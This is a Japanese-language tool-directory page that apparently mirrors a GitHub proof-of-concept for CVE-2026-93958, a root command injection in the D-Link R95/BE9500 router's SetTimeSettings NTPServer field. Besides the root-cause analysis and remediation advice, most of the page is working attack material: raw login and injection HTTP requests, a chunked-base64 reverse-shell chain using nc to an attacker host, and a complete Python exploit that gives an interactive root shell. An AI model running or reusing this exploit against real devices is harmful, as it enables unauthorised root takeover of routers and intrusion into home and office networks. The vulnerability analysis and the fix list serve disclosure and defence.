Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-93958 — D-Link R95/BE9500 DHMAPI SetTimeSettings における認証済みコマンドインジェクション PoC。NTPServer のバッククォートインジェクションを介して root RCE を達成し、完全なエクスプロイトスクリプトを備える。 | Kitploit
ツール/GitHubGitHub/hackspeak/cve-2026-93958
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテストコマンド&コントロールハードウェアとIoTセキュリティ論文と研究
GitHubhackspeak/cve-2026-93958

CVE-2026-93958

141日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

D-Link R95/BE9500 DHMAPI SetTimeSettings における認証済みコマンドインジェクション PoC。NTPServer のバッククォートインジェクションを介して root RCE を達成し、完全なエクスプロイトスクリプトを備える。

リポジトリを見る

D-Link R95 BE9500 Wi-Fi 7 スマートルーター

  • ベンダー:D-Link
  • 製品:R95
  • 製品モデル:BE9500
  • ファームウェアバージョン:1.01B06
  • 脆弱性の種類:認証済みコマンドインジェクション

概要

D-Link R95 BE9500 Wi-Fi 7 スマートルーター(ファームウェアバージョン BE9500_1.00.16)には、DHMAPI(SOAP over HTTPS)インターフェースにおいて SetTimeSettings リクエストを処理する際のコマンドインジェクション脆弱性が存在します。ユーザーが制御可能な <NTPServer> フィールドは、シェルメタ文字に対するサニタイズや検証を一切行わずに設定データベースに保存されます。その後、設定が UCI(ntpclient.@ntpserver[0].hostname)に同期される際、脆弱なバックエンドサービスが二重引用符で囲まれたシェルコマンドを構築し、system() に類する呼び出しを通じて実行します。<NTPServer> の値にバッククォート(```)を注入することで、攻撃者はコマンド置換を実現できます。シェルは連結されたコマンドを実行する前に注入された内容を評価するため、**root(uid=0)**権限で任意のコマンドを実行することが可能になります。

この攻撃には、認証済みアクセス(管理者アカウント Admin で検証済み)を通じて取得した有効な Web 管理セッション(sid)が必要です。この脆弱性は、デバイスの脆弱なデフォルト認証情報や潜在的な認証バイパス問題によってさらに増幅され、実世界での攻撃対象領域が大幅に拡大します。

影響

認証済みの攻撃者は root 権限で任意のコマンドを実行でき、デバイスの完全な侵害につながります。これには機密ファイルの読み取り(例:/etc/rg_config/admin の暗号文、完全な設定バックアップのダンプ)、永続的なバックドアの設置、リバースシェルの確立、内部ネットワークへの侵入による横展開攻撃が含まれます。

脆弱性の詳細

1. 影響を受けるコンポーネントと根本原因

この脆弱性は、DHMAPI SOAP インターフェースを実装する Web 管理バックエンドバイナリ /bin/ssi(root として実行)に存在します。

汚染源(Taint source) — SetTimeSettings ハンドラ(ファームウェア 1.01B06 の ssi 内オフセット 0x6bd84 の関数):

  • SOAP リクエストから <NTPServer> フィールドをスタックバッファに抽出します。長さは 0x3f(63 バイト)に制限されていますが、これはバッファサイズの制限であり、セキュリティチェックではありません。
  • 内部セッターを介して、値をそのまま内部設定キー time.value.NTPServer に保存します。シェルメタ文字のフィルタリングやエスケープは一切行われません。

汚染先(Taint sink) — UCI への設定同期。ssi は設定値をシェルコマンド文字列に連結し、system() に類する呼び出しで実行することで設定を同期します。バイナリ内に埋め込まれたフォーマット文字列には以下が含まれます:

root@kitploit:~
uci set %s="%s" > /dev/null

値が二重引用符で囲まれているため、シェルは連結されたコマンドを実行する前に、値内のバッククォート(`)/ $() に対してコマンド置換を行います。ssi は root として実行されるため、注入されたコマンドは root 権限で実行されます。

タイミングの証拠は、評価がリクエスト処理パス内で同期的に発生することを確認しています。`sleep 10` を注入すると、HTTP レスポンスが約 10 秒遅延します。汚染された値はさらに UCI(ntpclient.@ntpserver[0].hostname)に永続化され、後に /bin/start_ntpclient.sh(ntpclient -s -h $HOSTNAME)によってクォートされずに使用されます。これは二次的なハードニングの欠陥です。

悪用時の制約(検証済み):

2. 認証の前提条件(API-AUTH スキーム)

すべての DHMAPI リクエストには以下を含める必要があります:

  • Cookie: uid=<session cookie>(ログイン時に取得)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • SOAP アクションと一致する API-ACTION / SOAPAction ヘッダー、および User-Agent と Referer(UA/Referer がない場合は HTTP 400/500 を返す)
  • ts はミリ秒タイムスタンプです。デバイスは鮮度を検証しないため、固定値が再利用可能です

privkey の導出:

  1. Login / Action=request(静的キー文字列 withoutloginkey で署名)が Challenge、Cookie、PublicKey、SaltHash を返す
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32))(SaltHash が存在しない場合は平文パスワード)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. 上記を付与した Login / Action=login が <LoginResult>success</LoginResult> を返す。以降のリクエストは privkey で署名した を使用する

3. 概念実証(PoC)

ステップ 1 — ログインリクエスト(Challenge/Cookie/PublicKey/SaltHash の取得)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

ステップ 2 — ログイン(セッションの確立)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

期待される結果:<LoginResult>success</LoginResult>。

image-20260823160951351

ステップ 3 — コマンドインジェクション(出力を Web ルートに書き込む)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

ステップ 4 — コマンド出力の取得

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

観測されたレスポンスボディ:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

代替検証 — 時間ベースのブラインドインジェクション

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

HTTP レスポンスが約 10 秒遅延します。無害な NTP サーバー名の場合は即座に応答が返ります。

完全な悪用 — リバースシェル

63 バイトのフィールド制限は、スクリプトを base64 の断片に分けて書き込むことで回避できます:

  1. SetTimeSettings リクエストを繰り返し、それぞれが 1 つの断片を追記: `echo -n <b64-fragment> >> /tmp/x`
  2. デコード:`base64 -d /tmp/x > /tmp/rs.rs`
  3. /tmp/rs.rs の内容(busybox ash ではパイプの前後に必須のスペースがあることに注意): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. トリガー:`sh /tmp/rs.rs`

結果:攻撃者のリスナー上で対話型の root シェル(~ #、BusyBox ash)が取得されます。

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. 根本原因のまとめ

  1. ssi は NTPServer フィールド(および同じハンドラ内の兄弟フィールド)をサニタイズせずに設定データベースに保存する;
  2. 設定同期は system() 形式のシェル文字列連結を使用し、値が二重引用符で囲まれているため、シェルが値内のバッククォート / $() を評価してしまう;
  3. ssi は root として実行されるため、注入されたコマンドは最高権限で実行される。

同じコードパターンにより、このファームウェアには少なくとも 7 つの追加の認証済みコマンドインジェクションポイントが存在します(TZLocation、DeviceName、DDNS の Hostname/Username、クライアントの NickName、および SetNetworkSettings を介した二次インジェクション)。これらはすべて uid=0(root) での実行が検証されています。

5. 修復

  • ホスト名タイプの入力フィールドには、保存前に厳格なホワイトリスト検証([A-Za-z0-9.-])を適用する;
  • system() の文字列連結を、libuci API(すでに ssi にリンクされている)またはシェルを介さない exec* 系の呼び出しに置き換える;
  • /bin/start_ntpclient.sh 内の $HOSTNAME 変数をクォートする;
  • Web 管理サービスを低い権限で実行する;
  • 上記の兄弟インジェクションポイントを監査し、一括で修正する。

配布ミラーについて(中文)

本リポジトリは CVE-2026-93958(D-Link R95 / BE9500 DHMAPI コマンドインジェクション) 脆弱性 PoC の中継配布ミラーです(技術分析は上記のアップストリーム原本レポート D-Link R95 BE9500.md を参照)。内容はアップストリームの公開 PoC リポジトリからミラーされたもので、アーカイブおよび配布のみを目的としています。PoC はセキュリティ研究、脆弱性検証、および許可されたテストにのみ使用し、未許可のターゲットには使用しないでください。

脆弱性の概要 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95(BE9500)Wi-Fi 7 スマートルーター
  • 影響を受けるファームウェア:BE9500_1.00.16 / 1.01B06 シリーズ
  • 種類:OS コマンドインジェクション(CWE-77 / CWE-78)→ root 権限での任意コマンド実行
  • CVSS 3.1:9.1(Critical);CVSS 4.0:8.5;CVSS 2.0:8.3
  • 攻撃対象領域:DHMAPI(SOAP over HTTPS)インターフェースの SetTimeSettings リクエストの <NTPServer> フィールド
  • 前提条件:有効な Web 管理セッション(認証後)が必要
  • 影響コンポーネント:root として実行される Web 管理バックエンド /bin/ssi

核心原理:/bin/ssi の SetTimeSettings 処理関数(オフセット 0x6bd84)は、<NTPServer> フィールド(長さ上限 0x3f=63 バイト、ただしシェルメタ文字のフィルタリングは一切なし)をそのまま設定データベースに保存します。設定を UCI に同期する際、ssi は値を uci set %s="%s" > /dev/null のようなシェル文字列に連結し、system() で実行します。値は二重引用符で囲まれているため、シェルはバッククォート / $() に対してコマンド置換を行い、ssi は root として実行されるため、注入されたコマンドは完全な権限で実行されます。

ディレクトリ構造 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— アップストリームの完全な技術分析(4 ステップの再現、認証メカニズム、EXP ソースコード、ハードニング推奨事項を含む)
r95_exp.py             —— アップストリームレポートから抽出した完全な Python EXP(requests 実装)
image-*.png            —— アップストリームレポートの添付画像(5 枚)

環境と使用方法 / Requirements & Usage

  • ターゲット:未修正ファームウェアの D-Link R95 / BE9500(ラボ機器);有効な管理セッション(管理者アカウント)が必要
  • 依存関係:Python 3 + requests
  • 使用方法:
root@kitploit:~
python r95_exp.py            # 対話型 root シェル(コマンドはデバイス上で root として実行)
python r95_exp.py "id"       # 単一コマンドを実行

⚠️ 注意:注入フィールドの長さ上限は約 63 バイトで、コマンドに & を含めることはできません。EXP は 54 バイト以下のコマンドを直接注入し、それより長いコマンドは自動的に base64 断片に分割して /tmp/x に書き込み、デコードして実行します。出力は Web ルートディレクトリ /www/e に書き込まれ、HTTP 経由で取得されます。

免責事項 / Disclaimer

本 PoC は教育、セキュリティ研究、および許可されたテストにのみ使用し、自身が所有するか明確な許可を得たデバイスに対してのみ実行してください。悪用すると root 権限でデバイス上で任意のコマンドが実行されるため、破棄可能なラボ環境でテストしてください。

帰属とライセンス / Attribution & License

  • アップストリーム PoC レポートおよび EXP の作者:FoundTL(公開脆弱性研究リポジトリ FoundTL/D-Link-R95-BE9500)。
  • 配布リポジトリは MIT License を採用(LICENSE を参照)。

参考リンク / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • CVE レコード:https://www.cve.org/CVERecord?id=CVE-2026-93958
  • D-Link 公式サイト:https://www.dlink.com/
ツールをダウンロード
制約検証結果
フィールド長63 バイト以下を受け付け。60 バイトは OK、80 バイトは拒否(HTTP 400)
& 文字含めることは不可(連結されたコマンドラインが壊れる)
注入構文バッククォート `cmd` を検証済み。$(cmd) も同様に機能すると予想される
実行コンテキストuid=0(root) gid=0(root)
出力チャネル直接のエコーはなし。Web ルートへリダイレクト(> /www/<file>)し、HTTP GET で取得
Cookie: uid=<step-1 Cookie>